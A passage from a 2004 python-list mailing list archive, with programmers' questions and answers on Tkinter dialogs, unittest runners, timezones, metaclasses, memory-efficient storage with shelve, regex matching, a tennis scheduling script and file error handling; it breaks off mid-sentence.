Date: Tue, 7 Sep 2004 23:25:18 +0200 Subject: unexplained behavior of tkMessageBox.askyesno In-Reply-To: <Pine.LNX.4.44.0409072116420.1090-100000@kleigh.nl> References: <Pine.LNX.4.44.0409072116420.1090-100000@kleigh.nl> Message-ID: <Pine.LNX.4.44.0409072316430.1090-100000@kleigh.nl> Peter Kleiweg schreef: > > I have a program with these fragments: > > > > from Tkinter import * > import tkFileDialog > import tkMessageBox > > def openProject(): > filepath = tkFileDialog.askopenfilename(filetypes=(("project files","*.ini"), ("all","*"))) > if filepath: > loadProject(filepath) > > def makeClean(): > if tkMessageBox.askyesno('Make clean', 'Remove all files created by Make?'): > print 'yes' > # more code The file tkMessageBox.py that comes with Python has this: def askyesno(title=None, message=None, **options): "Ask a question; return true if the answer is yes" s = _show(title, message, QUESTION, YESNO, **options) return s == YES So instead of calling askyesno, I used this: def makeClean(): r = tkMessageBox._show('Make clean', 'Remove all files created by Make?', 'question', 'yesno') print type(r), r Call makeClean(), click no, result: <type 'str'> no Call makeClean(), click yes, result: <type 'str'> yes Call openProject(), click cancel Call makeClean(), click no, result: <type 'str'> no Call makeClean(), click yes, result: <type 'bool'> True Now, how did that happen? -- Peter Kleiweg L:NL,af,da,de,en,ia,nds,no,sv,(fr,it) S:NL,de,en,(da,ia) info: http://www.let.rug.nl/~kleiweg/ls.html From eldiener at earthlink.net Sat Sep 4 20:41:01 2004 From: eldiener at earthlink.net (Edward Diener) Date: Sun, 05 Sep 2004 00:41:01 GMT Subject: Creating a unittest TestRunner Message-ID: <xgt_c.6019$Vl5.5183@newsread2.news.atl.earthlink.net> I am interested in the ability to create a unit test TestRunner other than the default TextTestRunner provided in unittest. While the documentation explains: "A test runner is an object that provides a single method, run(), which accepts a TestCase or TestSuite object as a parameter, and returns a result object. The class TestResult is provided for use as the result object. PyUnit provide the TextTestRunner as an example test runner which reports test results on the standard error stream by default. Alternate runners can be implemented for other environments (such as graphical environments) without any need to derive from a specific class." I am having trouble imagining how an alternate TestRunner might work. Does the normal action of a TestRunner merely instantiate a TestResult object when its run() method is called and pass that to the instance of the TestSuite, which is passed to it, run() method for the test suite to fill in the result object as it runs ? Is there anything else that an alternate TestRunner needs to do in the minimal case ? The interactions between the TestRunner, TestSuite, and TestLoader are not exactly spelled out in detail, although the documentation for the latter two is adequate. From ian at cottee.org Tue Sep 28 02:52:34 2004 From: ian at cottee.org (Ian J Cottee) Date: Tue, 28 Sep 2004 15:52:34 +0900 Subject: pydev [was Re: python ides] In-Reply-To: <du7d6073pi0.fsf_-_@lehtori.cc.tut.fi> References: <mailman.3639.1095771048.5135.python-list@python.org> <mailman.3985.1096330584.5135.python-list@python.org> <du7d6073pi0.fsf_-_@lehtori.cc.tut.fi> Message-ID: <caen22-k13.ln1@suse.zobbo.org> Ville Vainio wrote: >>>>>>"Ian" == Ian J Cottee <ian at cottee.org> writes: > > > Ian> Well this emacs user spent some time trying it (testing the > Ian> version 2 beta). It is nice but it's no emacs unfortunately. > > A slight point of netiquette - please don't hesitate to quote the name > of the thing referred to by "it", or write it out yourself if that's > not possible :-). Apologies - I was somewhat over enthusiastic in my previous post trimmings :). I see so many posts that quote reams of pointless previous text that I often seem to go too far in the other direction. > Apart from that, I'd like to point out that pydev (Python plugin for > eclipse) seems to be alive and well (i.e. they seem to be implementing > new features) with the recent 0.6 version: > > http://pydev.sourceforge.net/ > > Eclipse is where I think I'm going in my attempt to wean myself off > emacs. Yes, I played with pydev. One is almost tempted to learn Java in order to contribute. But I still can't believe that I will live to see the day that Emacs is surpassed ;-). Ian From jdhunter at ace.bsd.uchicago.edu Thu Sep 16 09:42:08 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Thu, 16 Sep 2004 08:42:08 -0500 Subject: datetime and tzinfo Message-ID: <m2oek6tjnz.fsf@mother.paradise.lost> I am using the tzinfo classes from the datetime docs, eg UTC, USTimeZone, and the instantiations Pacific, Central, Eastern, etc. I would like to take a datetime instance in the UTC timezone and construct the equivalent in another time zone. Eg, if I am given dt1 in the example below, and the timezone Central dt1 = datetime(2004, 9, 12, 14, 22, 24, tzinfo=UTC()) I would like to construct the datetime instance dt2 dt2 = datetime(2004, 9, 12, 9, 22, 24, tzinfo=Central) which is the same time in a different timezone. >>> dt1 = datetime(2004, 9, 12, 14, 22, 24, tzinfo=UTC()) >>> dt2 = datetime(2004, 9, 12, 9, 22, 24, tzinfo=Central) >>> dt1-dt2 datetime.timedelta(0) I've read through the docs at http://www.python.org/doc/2.3.2/lib/datetime-tzinfo.html but none of the methods looked just right. Is there an easy/right way to do this? Thanks, John Hunter From webraviteja at yahoo.com Wed Sep 29 20:35:21 2004 From: webraviteja at yahoo.com (Ravi Teja Bhupatiraju) Date: 29 Sep 2004 17:35:21 -0700 Subject: Proposal for removing self - followup Message-ID: <b74e43f1.0409291635.177308a5@posting.google.com> >> Well make it three cents and do an implementation, if you really care. >> Otherwise, it's just words... I can't post a reply to that thread in Google. So I am posting the third cent here. Here is my implementation of the PythonCOM style __private__ () attributes for Python. http://aspn.activestate.com/ASPN/docs/ActivePython/2.3/PyWin32/html/com/win32com/HTML/QuickStartServerCom.html After http://groups.google.com/groups?q=g:thl1572296058d&dq=&hl=en&lr=&ie=UTF-8&safe=active&selm=gStXc.29013%24DG.1381823%40news20.bellglobal.com the only thing left was __private__ I have done very little testing and this is my first use of metaclasses, so watch out. It uses the bytecode hacking module from http://bytecodehacks.sourceforge.net/ from bytecodehacks.code_editor import Function class PrivateType(type): def __new__(cls, className, bases, classDict): if '__private__' in classDict and len(classDict['__private__']) > 0 : # create a map of to-be-renamed functions private_map = {} for private_attribute in classDict['__private__']: private_map[private_attribute] = '_%s__%s' % (className, private_attribute) def MutatedFunc(func): bytecode = Function(func) for iter, co_name in enumerate(bytecode.func_code.co_names): if co_name in private_map.keys(): bytecode.func_code.co_names[iter] = private_map[co_name] return bytecode.make_function() # refactor references within functions func_type = type(lambda x: x) for attrib_name, attrib in classDict.items(): if type(attrib) == func_type: classDict[attrib_name] = MutatedFunc(attrib) # mangle private attributes private = classDict['__private__'] for private_attribute in private: temp = classDict[private_attribute] del classDict[private_attribute] privatized_attribute = '_%s__%s' % (className, private_attribute) classDict[privatized_attribute] = temp return type.__new__(cls, className, bases, classDict) else: return type.__new__(cls, className, bases, classDict) class PrivateClass(object): __metaclass__ = PrivateType if __name__ == '__main__': class Foo(PrivateClass): __private__ = ['private_func'] def public_func(self): print "calling public func: ", print "public" print "calling private func: ", self.private_func() def private_func(self): print "private" foobar = Foo() foobar.public_func() #foobar.private_func() From BrenBarn at aol.com Sat Sep 11 12:27:51 2004 From: BrenBarn at aol.com (OKB (not okblacke)) Date: 11 Sep 2004 16:27:51 GMT Subject: Nested class structures References: <Xns95607B54E1208OKB@130.133.1.4> <WPSdnS4yN4xs3t_cRVn-jw@comcast.com> <Xns9560B1CD8670OKB@130.133.1.4> <chur3h$tk7$05$1@news.t-online.com> <1gjyg86.h447z2mlz6joN%aleaxit@yahoo.com> Message-ID: <Xns956160462EB43OKB@130.133.1.4> Alex Martelli wrote: >>>> class outside: > ... anons=[] > ... class anon: > ... def method1(self): return 'the first' > ... anons.append(anon) > ... class anon: > ... def method1(self): return 'the second' > ... anons.append(anon) > ... class anon: > ... def method1(self): return 'the third' > ... anons.append(anon) > ... del anon > ... >>>> for c in outside.anons: print c().method1() > ... > the first > the second > the third >>>> > >> The question is: _why_ do you want to do this? How do you want to >> access the > > That is indeed totally mysterious to me. I have a decent grasp of > what can be done, but sometimes the deeper question of why anybody > might ever possibly want to do it escapes me totally, and this is > such a case. Well, I'm still experimenting with it, and partly I'm just playing around, but one possible thing I thought might come out of these nested classes is the ability to define a GUI with a syntax that mirrors the GUI's nested structure. So each class in the tree there would represent some GUI component, and as the classes are created, some metaclass tinkering instantiates them, massaging information from the class def into the format required by the GUI library. As far as the anonymous business, I'm beginning to think it may not be that much of a necessity, but: the idea is, suppose I'm defining a whole bunch of GUI objects like sizers or something. It's tiresome to have to make sure they all have unique names, so I was hoping I could create some Python code that would generate the names for me. Your code, of course, works great, but I am interested in subsuming the list creation and appending into the class definitions themselves, to avoid writing "anons.append(anon)" a bunch of times. However, there doesn't seem to be any way for the metaclass of a nested class to get at the enclosing class namespace. In fact, after looking at the docs some more, I see that this is an explicit exception to the normal scoping rules. (The silver lining, though, is that it means I DON'T have to come up with totally unique names: they only have to be unique within a single enclosing class def, which makes it less of a burden to name the classes explicitly.) Anyway, thanks for the help, everyone! -- --OKB (not okblacke) Brendan Barnwell "Do not follow where the path may lead. Go, instead, where there is no path, and leave a trail." --author unknown From aleaxit at yahoo.com Thu Sep 2 07:04:08 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 2 Sep 2004 13:04:08 +0200 Subject: initializing mutable class attributes References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com> <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> <sweNBls/KXoF089yn@the-wire.com> <cXnZc.158891$UTP.27028@twister01.bloor.is.net.cable.rogers.com> <CZoZc.159227$UTP.62107@twister01.bloor.is.net.cable.rogers.com> <5zpZc.159384$UTP.106388@twister01.bloor.is.net.cable.rogers.com> Message-ID: <1gjhla2.1rt117fe9ofciN%aleaxit@yahoo.com> Dan Perl <dperl at rogers.com> wrote: > I found a small hole in the initial code suggestion and I fixed it. Try and > find the difference: > class test(object): > def __new__(typ, *args, **kwargs): > obj = object.__new__(typ) > obj.attr1 = 666 > typ.__init__(obj, *args, **kwargs) > return obj > > class derived(test): > def __init__(self, arg1, arg2): > self.attr2 = arg1 > self.attr3 = arg2 > > d = derived(111, 222) > print d.attr1, d.attr2 > print isinstance(d, test) > > So, what do people think about it? Alex, would this be good for a recipe in > the Python Cookbook? I might run it side by side with my custom metaclass, sure. I'm not sure why you're running typ.__init__ from within test.__new__ -- it seems to me that will result in double-running cases. Alex From skip at pobox.com Tue Sep 14 01:08:22 2004 From: skip at pobox.com (Skip Montanaro) Date: Tue, 14 Sep 2004 00:08:22 -0500 Subject: optimizing memory utilization In-Reply-To: <pan.2004.09.14.04.38.02.647096@ymous.com> References: <pan.2004.09.14.04.38.02.647096@ymous.com> Message-ID: <16710.31942.531888.719580@montanaro.dyndns.org> anon> [[<Alb1ID#>, '<Alb1Artist>', '<Alb1Title>', '<Alb1Genre>','<Alb1Year>', anon> [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]], anon> [<Alb2ID#>, '<Alb2Artist>', '<Alb2Title>', '<Alb2Genre>','<Alb2Year>', anon> [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]], anon> ... anon> [<AlbNID#>, '<AlbNArtist>', '<AlbNTitle>', '<AlbNGenre>','<AlbNYear>', anon> [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]]]] anon> So the problem I'm having is that I want to load it all in memory anon> (the two files total about 250MB of raw data) but just loading the anon> first 50,000 lines of tracks (about 25MB of raw data) consumes anon> 75MB of RAM. If the approximation is fairly accurate, I'd need anon> >750MB of available RAM just to load my in-memory database. anon> The bottom line is, is there a more memory efficient way to load anon> all this arbitrary field length and count type data into RAM? Sure, assuming you know what your keys are, store them in a db file. Let's assume you want to search by artist. Do your csv thing, but store the records in a shelve keyed by the AlbNArtist field: import shelve import csv reader = csv.reader(open("file1.csv", "rb")) db = shelve.open("file1.db") for row in reader: stuff = db.get(row[1], []) stuff.append(row) db[row[1]] = stuff db.close() I'm not sure I've interpreted your sample csv quite right, but I think you'll get the idea. You can of course have multiple db files, each keyed by a different field (or part of a field). Obviously, using a db file will be slower than an in-memory dictionary, but if memory is a bottleneck, this will likely help. You can also avoid initializing the db file on subsequent program runs if the csv file is older than the db file, probably resulting in faster startup. Skip From abra9823 at mail.usyd.edu.au Mon Sep 20 21:14:41 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Tue, 21 Sep 2004 11:14:41 +1000 Subject: MAC address In-Reply-To: <414f7c66$0$60638$a1866201@newsreader.visi.com> References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <mailman.3553.1095679406.5135.python-list@python.org> <414efed5$0$60631$a1866201@newsreader.visi.com> <mailman.3613.1095723708.5135.python-list@python.org> <414f7c66$0$60638$a1866201@newsreader.visi.com> Message-ID: <1095729281.414f80818d6a4@www-mail.usyd.edu.au> Quoting Grant Edwards <grante at visi.com>: > On 2004-09-20, Ajay <abra9823 at mail.usyd.edu.au> wrote: > > Quoting Grant Edwards <grante at visi.com>: > > > >> On 2004-09-20, Ajay <abra9823 at mail.usyd.edu.au> wrote: > >> > >> > its actually windows that i would like to find out about. what > >> > i am trying to do is to anonymize client address by picking a > >> > random MAC address and using that instead > >> > >> That's a pretty bad idea. If you insist on doing it, read the > >> Ethernet spec so you make sure you're picking a valid address. > > > > and why is it a bad idea? > > How are you going to avoid collisions? I suppose it's a > sufficiently slim probability you can just ignore it. > > > also, is there an alternative way to anonymize a client? > > Not really, but how could your MAC address be traced to you, > anyway? i suppose i should clarify again that the question is not in the context of the Internet but a wireless LAN. within a LAN, if i were to open a socket connection with a server and send some data to it, the server would be able to pick up my MAC and IP address. so what i want to do is to anonymize the MAC by picking a random (but valid) MAC address and using that. after that i will anonymize the IP. > > -- > Grant Edwards grante Yow! What's the > MATTER > at Sid?... Is your > BEVERAGE > visi.com unsatisfactory? > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From aleaxit at yahoo.com Thu Sep 23 07:58:03 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 23 Sep 2004 13:58:03 +0200 Subject: Python in a Nutshell for Python 2.4 References: <df045d93.0409221344.52d18be9@posting.google.com> <2Pt4d.5568$sa.2954@trndny05> Message-ID: <1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com> Raymond Hettinger <vze4rx4y at verizon.net> wrote: > [Tuang] > > Does anyone (esp. Alex, if you're listening) know if there is an > > update of Python in a Nutshell coming for Python 2.4? > > I would say let the poor guy finish the Py2.4 Cookbook update first; afterall, > he's only one man. But now there are two Martelli's on the case, so you might > be in luck ;-) I have not yet negotiated with O'Reilly about a 2nd edition of the Nutshell, but I do suspect they'll be quite happy letting me write one, _after_, as RH says, the 2nd edition of the Cookbook (we're still targeting March 2004 for that one). Considering the times involved etc etc, I believe it is out of the question for the 2nd edition of the Nutshell to be in print in time for OSCON 2005 (==July 2005), alas. So, don't hold your breath: I believe it will be _at least_ a year from now before you can buy the 2nd edition of the Nutshell in bookstores:-(. Alex From godoy at ieee.org Mon Sep 20 17:46:55 2004 From: godoy at ieee.org (Jorge Godoy) Date: Mon, 20 Sep 2004 18:46:55 -0300 Subject: Tracking/Designing complex projects Message-ID: <m31xgwfwa8.fsf@g2ctech.com> Hi! I'm interested about how you are dealing with large projects where you have to track serveral classes, tie your GUI with the database, handle some common situations from several places, etc. How do you define the documentation for developing such a beast and how do you keep track of classes, methods, etc. that do something? Are you using UML? Do you rely solely on package names and make those as intuitive as possible (it should be done regardless of the complexity of the system, I know, but for big ones it is even more critical)? There are lots of tools that generate the skeleton of code for C, C++ and even Python (such as Umbrello) from UML diagrams. Is this the best way? TIA, -- Godoy. <godoy at ieee.org> From nathan_kent_bullock at yahoo.ca Sat Sep 11 00:54:56 2004 From: nathan_kent_bullock at yahoo.ca (Nathan Bullock) Date: 10 Sep 2004 21:54:56 -0700 Subject: How do you make issubclass work Message-ID: <52f8effc.0409102054.4bcaa426@posting.google.com> Okay I have two files: a.py: ----- class cla_a(object): pass class cla_c(object): pass if __name__ == "__main__": mod = __import__("b") attr = getattr(mod, "cla_b") print issubclass(attr, cla_a) print issubclass(cla_c, cla_a) ----- and b.py: ----- from a import cla_a class cla_b(cla_a): pass ----- now if I do 'python a.py' it gives me: False True Why is cla_b a subclass and not cla_c? I think that it has something to with the fact that cla_b is a subclass of a different instance of cla_a or something like that. But if that is the case how do I do this sort of thing in python? Nathan Bullock http://bullock.mooo.com From adalke at mindspring.com Fri Sep 10 03:01:07 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Fri, 10 Sep 2004 07:01:07 GMT Subject: Akward code using multiple regexp searches In-Reply-To: <6aa0d.20922$2s.12692@twister.nyroc.rr.com> References: <6aa0d.20922$2s.12692@twister.nyroc.rr.com> Message-ID: <Tic0d.11947$w%6.10329@newsread1.news.pas.earthlink.net> Topher Cawlfield wrote: > But a few times already I've found myself > writing the following bit of awkward code when parsing text files. Can > anyone suggest a more elegant solution? > > rexp1 = re.compile(r'blah(dee)blah') > rexp2 = re.compile(r'hum(dum)') > for line in inFile: > reslt = rexp1.search(line) > if reslt: > something = reslt.group(1) > else: > reslt = rexp2.search(line) > if reslt: > somethingElse = reslt.group(1) I usually solve this given case with a 'continue' for line in inFile: reslt = rexp1.search(line) if reslt: something = reslt.group(1) continue reslt = rexp2.search(line) if reslt: somethingElse = reslt.group(1) continue Still more cumbersome than the Perl equivalent. You could do a trick like this import re class Match: def __init__(self, pattern, flags=0): self.pat = re.compile(pattern, flags) self.m = None def __call__(self, s): self.m = self.pat.match(s) return bool(self.m) def __nonzero__(self): return bool(self.m) def group(self, x): return self.m.group(x) def start(self, x): return self.m.start(x) def end(self, x): return self.m.end(x) pat1 = Match("A(.*)") pat2 = Match("BA(.*)") pat3 = Match("BB(.*)") def test(s): if pat1(s): print "Looks like", pat1.group(1) elif pat2(s): print "no, it is", pat2.group(1) elif pat3(s): print "really?", pat3.group(1) else: print "Never mind." >>> test("ABCDE") Looks like BCDE >>> test("BACDE") no, it is CDE >>> test("BBCDE") really? CDE >>> test("CBBDE") Never mind. >>> This is much more along the lines of what you want but it conflates the idea of search object and match object and makes your code more suspectible to subtle breaks. Consider digits = Match("(\s*(\d+)\s*)") def divisor(s): if s[:1] == "/": if digits(s[1:]): return int(digits.group(2)) raise TypeError("nothing after the /") # no fraction, use 1 as the divisor return 1 def fraction(s): if digits(s): denom = divisor(s[digits.end(1):]) return int(digits.group(2)), denom raise TypeError("does not start with a number") >>> fraction("4/5") (5, 5) >>> But as a Perl programmer you are perhaps used to this because Perl does the same conflation thus having the same problems. (I think. It's been a while ... Nope! The regexp search results appear to be my variables now. When I started with perl4 all variables were either global or "dynamically scoped"-ish with local) > I'm a little bit worried about doing the following in Python, since I'm > not sure if the compiler is smart enough to avoid doing each regexp > search twice: > > for line in inFile: > if rexp1.search(line) > something = rexp1.search(line).group(1) > elif rexp2.search(line): > somethingElse = rexp2.search(line).group(1) > > In many cases I am worried about efficiency as these scripts parse a > couple GB of text! It isn't smart enough. To make it that smart would require a lot more work. For example, how does it know that the implementation of "rexp1.search(line)" always returns the same value? Or even that "rexp1.search" returns the same bound method? Andrew dalke at dalkescientific.com From john at grulic.org.ar Wed Sep 8 09:08:38 2004 From: john at grulic.org.ar (John Lenton) Date: Wed, 8 Sep 2004 10:08:38 -0300 Subject: %a format In-Reply-To: <16702.1779.773067.819528@montanaro.dyndns.org> References: <20040907182925.GA27643@grulic.org.ar> <16702.1779.773067.819528@montanaro.dyndns.org> Message-ID: <20040908130837.GB4749@grulic.org.ar> On Tue, Sep 07, 2004 at 02:07:31PM -0500, Skip Montanaro wrote: > > John> Is there any reason python's printf-style formatting is missing > John> the (C99) '%a' specifier? > > I suspect because nobody's implemented it yet, most likely because nobody's > needed it. (Yours is the first mention I've seen of it.) Python's C > implementation currently supports C89, not C99, and since %a is apparently a > new thing, it's not all that surprising the Python doesn't yet support it. > Can you provide a patch against Objects/stringobject.c in the distribution? > Note that Python uses sprintf() to do its dirty work, so any patch would > have to implement %a itself to remain compatible with C89. is remaining compatible with C89 a requirement? -- John Lenton (john at grulic.org.ar) -- Random fortune: El palo dado... ni Dios lo quita. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: <http://mail.python.org/pipermail/python-list/attachments/20040908/cfe14ebb/attachment.sig> From this at is.invalid Thu Sep 16 19:24:03 2004 From: this at is.invalid (Peter Isselstijn) Date: Fri, 17 Sep 2004 01:24:03 +0200 Subject: How to go about developing in zope References: <4c900ea0.0409160754.2158e732@posting.google.com> Message-ID: <nn7kk0hgbhihtdpqtpglsjf68us5rjn7k9@4ax.com> john: >What is the best way to develop such kinda application in zope? I've found it helpful to forget about Zope, just design an object ori?nted solution for the problem, ignoring persistence for the time being (no object-relational mapping), map clean URLs to objects and methods, use plain HTML as templates, and so on. Then, when you're done, you'll have a perfect Zope application. -- Peter From peter at engcorp.com Fri Sep 10 09:04:10 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 Sep 2004 09:04:10 -0400 Subject: Can we use /MAKE inside the popen3 command? In-Reply-To: <%qc0d.11951$w%6.7789@newsread1.news.pas.earthlink.net> References: <82880e86.0409092112.2176b26f@posting.google.com> <%qc0d.11951$w%6.7789@newsread1.news.pas.earthlink.net> Message-ID: <45Kdnf1wAO_XO9zcRVn-hA@powergate.ca> Greg Krohn wrote: > Here's a few free suggestions at no extra charge. You don't really need > to use raw strings for Windows paths. Using forward slashed as always > worked fine for me. There is one exception, and that is when the paths are being passed to the command interpreter/shell. As in this case. -Peter From peter at engcorp.com Tue Sep 21 11:23:30 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 21 Sep 2004 11:23:30 -0400 Subject: OT: regex to find email In-Reply-To: <mailman.3647.1095778995.5135.python-list@python.org> References: <mailman.3647.1095778995.5135.python-list@python.org> Message-ID: <muqdnf7be4Xv2s3cRVn-qg@powergate.ca> Josh Close wrote: > I've been trying to find a good regex to parse emails, but haven't > found any to my liking. I basically need to have > > ( r'[a-z0-9\.\-\_]@[a-z0-9\.\-\_]', re.IGNORECASE ) > > but the first part can't start with .-_ and the last part has to have > a . in it (first/last being before/after the @). Ignore my response (which I cancelled so some folks won't see it anyway). 'Twas bad advice; I didn't read the post. :-( -Peter From narshe at gmail.com Tue Sep 21 11:03:03 2004 From: narshe at gmail.com (Josh Close) Date: Tue, 21 Sep 2004 10:03:03 -0500 Subject: OT: regex to find email Message-ID: <4a0cafe204092108038020f72@mail.gmail.com> I've been trying to find a good regex to parse emails, but haven't found any to my liking. I basically need to have ( r'[a-z0-9\.\-\_]@[a-z0-9\.\-\_]', re.IGNORECASE ) but the first part can't start with .-_ and the last part has to have a . in it (first/last being before/after the @). Thanks. -Josh From charlotte at fgm.com Sat Sep 25 17:47:38 2004 From: charlotte at fgm.com (Charlotte Henkle) Date: 25 Sep 2004 14:47:38 -0700 Subject: Counter for items in lists in lists? References: <d4eff00b.0409242217.224f86ef@posting.google.com> Message-ID: <d4eff00b.0409251347.3cc02484@posting.google.com> Ahhhh...thank you all! Actually, I wanted to be able to count the items in the list to check my thinking on a problem, and as it turns out, my thinking was incorrect. So I have a follow up question now ;) Some background: I was given a problem by a friend. He is in a tennis group that has 6 members. They play once a week for 10 weeks. They were having trouble generating a schedule that was random but fair (IE everyone gets to play a base number of times , and the mod is evenly and randomly distributed). I decided that I wanted to abstract as much of the problem as possible so that it would be reusable for other groups (IE to solve it for games with N players, Y times over X weeks). And then I decided I wanted this to be my second program in python, so forgive my clumsiness ;) My first pass through was short and simple: Figure out the total number of games that will be played, and then use something like this: gamePlayers=random.sample(templist, players_per_game) to fill up all the game slots. Neat, simple. The problem I found with this solution was that it didn't give me a weighted list for remainder. The same person could get in all of the "extra" games. So instead I decided to fill games from my list of players by removal until I had a number of players left less than a full game, and then have a back-up list. The back up list would act like a queue, but if you were already in the game, it would take the next guy. If you got into a game from the back-up list, you were sent to the end of the line. My 2 lines grew to 50 plus ;) Sadly, this isn't quite working either. Now that I can print out the players, I see that generally things work, but every once in a while, I get an unexpected result. For example, with 6 players, 10 weeks, 2 games per week, I would expect combinations of: {'a': 13, 'c': 14, 'b': 14, 'e': 13, 'd': 13, 'f': 13} (4 13s and 2 14s) But sometimes I get: {'a': 13, 'c': 14, 'b': 14, 'e': 14, 'd': 12, 'f': 13} (2 13s, 3 14s and a 12) That 12 breaks the planned even distribution. :( I suspect the problem comes from the random pulling in the first part, but I'm not sure. I also feel that some sections (espcially the print) don't have a "python-grace", so I would love some suggestions to make them more...slithery? :) To make a long story longer, here's the code: ...#! /usr/bin/env python ... ...#A program to randomly fill a tennis schedule ...# ...#The original theory looked like this: ...# gamePlayers=random.sample(templist, players_per_game) ...# print gamePlayers ...# ...#But that didn't give a weighted list for extra games ... ...import random ... ...#Eventually these will get set dynamically ...number_of_weeks=10 ...players=['a', 'b', 'c', 'd', 'e', 'f'] ...games_per_week=2 ...players_per_game=4 ...games=number_of_weeks*games_per_week ... ...#this will be used to pull off "extra game" players ...backupList=players[:] ...random.shuffle(backupList) ... ...#a templist so we can modify it. ...templist=players[:] ... ...#our finished product: ...finishedList=[] ... ...while len(finishedList)!=games: ... if len(templist)>=players_per_game: ... gamePlayers=[] ... while len(gamePlayers)!=players_per_game: ... randomNumber=random.randint(0, len(templist)-1) ... potentialPlayer=templist.pop(randomNumber) ... gamePlayers.append(potentialPlayer) ... finishedList.append(gamePlayers) ... else: ... gamePlayers=templist ... print "I am the leftover game players", gamePlayers ... print "I am the list of backup players", backupList ... count=0 ... while len(gamePlayers)!=players_per_game: ... print "I am a potential player" ... potentialPlayer=backupList[count] ... print potentialPlayer ... print "checking to see if I'm in the game" ... if potentialPlayer not in gamePlayers: ... print "I do not think the player is in the game" ... print "I am the back-up list", backupList ... potentialPlayer=backupList.pop(count) ... gamePlayers.append(potentialPlayer) ... backupList.append(potentialPlayer) ... print "I am the back-up list after reorder", backupList ... print "I am the gamePlayers after test and insertion", gamePlayers ... ... else: ... print "I think that player is in the game" ... count+=1 ... finishedList.append(gamePlayers) ... templist=players[:] ... ...#count the list (thank you, Steve! ...http://groups.google.com/groups?dq=&hl=en&lr=&ie=UTF-8&threadm=dI85d.47490%24wV.31831%40attbi_s54&prev=/groups%3Fq%3Dcomp.lang.python%26ie%3DUTF-8%26hl%3Den%26btnG%3DGoogle%2BSearch ... ...def count(item): ... if not isinstance(item, list): ... return {item:1} ... counts = {} ... for i in item: ... for key, ct in count(i).items(): ... counts[key] = counts.get(key, 0) + ct ... return counts ... ...def printList(weeks, games, list): ... x=0 ... while x!=weeks: ... y=0 ... print "Week: ", x+1 ... while y<games: ... print "Game ",y+1, " players are ", list[y] ... y+=1 ... x+=1 ... ...#printing out and counting the final list ... ...printList(number_of_weeks, games_per_week, finishedList) ...print finishedList.count("a") From bhk at dsl.co.uk Wed Sep 1 19:43:03 2004 From: bhk at dsl.co.uk (Brian {Hamilton Kelly}) Date: Thu, 02 Sep 2004 00:43:03 +0100 (BST) Subject: Xah Lee's Unixism References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <10jc7cu7e57koaa@corp.supernews.com> Message-ID: <20040901.2343.57633snz@dsl.co.uk> On Wednesday, in article <10jc7cu7e57koaa at corp.supernews.com> wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan" wrote: > There's a story about why railroad tracks are spaced the way they are. Is this the one about two Roman horses' arses? If so, it also accounts for the physical dimensions of the Space Shuttle's boosters. -- Brian {Hamilton Kelly} bhk at dsl.co.uk "I don't use Linux. I prefer to use an OS supported by a large multi- national vendor, with a good office suite, excellent network/internet software and decent hardware support." From zanesdad at bellsouth.net Thu Sep 30 11:15:32 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Thu, 30 Sep 2004 11:15:32 -0400 Subject: File handling: The easy and the hard way In-Reply-To: <pan.2004.09.30.13.56.48.18412@web.de> References: <pan.2004.09.30.13.56.48.18412@web.de> Message-ID: <415C2314.4020209@bellsouth.net> Hans-Joachim Widmaier wrote: >Hi all. > >Handling files is an extremely frequent task in programming, so most >programming languages have an abstraction of the basic files offered by >the underlying operating system. This is indeed also true for our language >of choice, Python. Its file type allows some extraordinary convenient >access like: > > for line in open("blah"): > handle_line(line) > >While this is very handy for interactive usage or throw-away scripts, I'd >consider it a serious bug in a "production quality" software. > I disagree. If you get an exception, you get it for a reason. I'll try to elaborate more below. >Tracebacks >are fine for programmers, but end users really never should see any. > > Bushwa. End users may or may not be able to make sense of them, but it doesn't mean they _should_ never see them. >Especially not when the error is not in the program itself, but rather >just a mistyped filename. (Most of my helper scripts that we use to >develop software handle files this way. And even my co-workers don't >recognize 'file or directory not found' for what it is.) End users are >entitled to error messages they can easily understand like "I could not >open 'blaah' because there is no such file". > So, you're saying that dumping a raw traceback like: IOError: [Errno 2] No such file or directory: '/foo/bar/bam' to a logfile is a no-no? Instead, it should say: I'm sorry sir, but an error occurred when trying to write to file /foo/bar/bam because it wasn't there. I think the traceback is perfectly understandable. I think that even an end-user would be able to comprehend that type of message. Or, if you get an IOError, is this not sufficient: IOError: [Errno 28] No space left on device ? Chances are, end users aren't going to be particulary concerned with exceptions you log - unless they've got a problem that they can't figure out. And if they've got a problem they can't figure out, you'd be better off giving them as much information as you can give them, or they'll come to you for help. And when they do come to you for help, you'd better make sure you've given yourself the most informatino you can to solve the problem. So logging a traceback is a great idea IMHO. Now, in areas where you're dead sure that an exception is nothing to be concerned with, don't bother. So, a good approach may be: handle the specific exceptions that you know may occur, let other unexpected (or expected in worst case scenarios) exceptions filter up to a higher level, log them there, and if need be, terminate program execution. >Graceful error handling is >even more important when a program isn't just run on a command line but >with a GUI. > > Maybe so. But if you hit an "Oh, crap, what do I do now?" exception, you may want to throw up a dialog box with a traceback or something and when the user clicks OK on it, terminate program execution. That gives them a 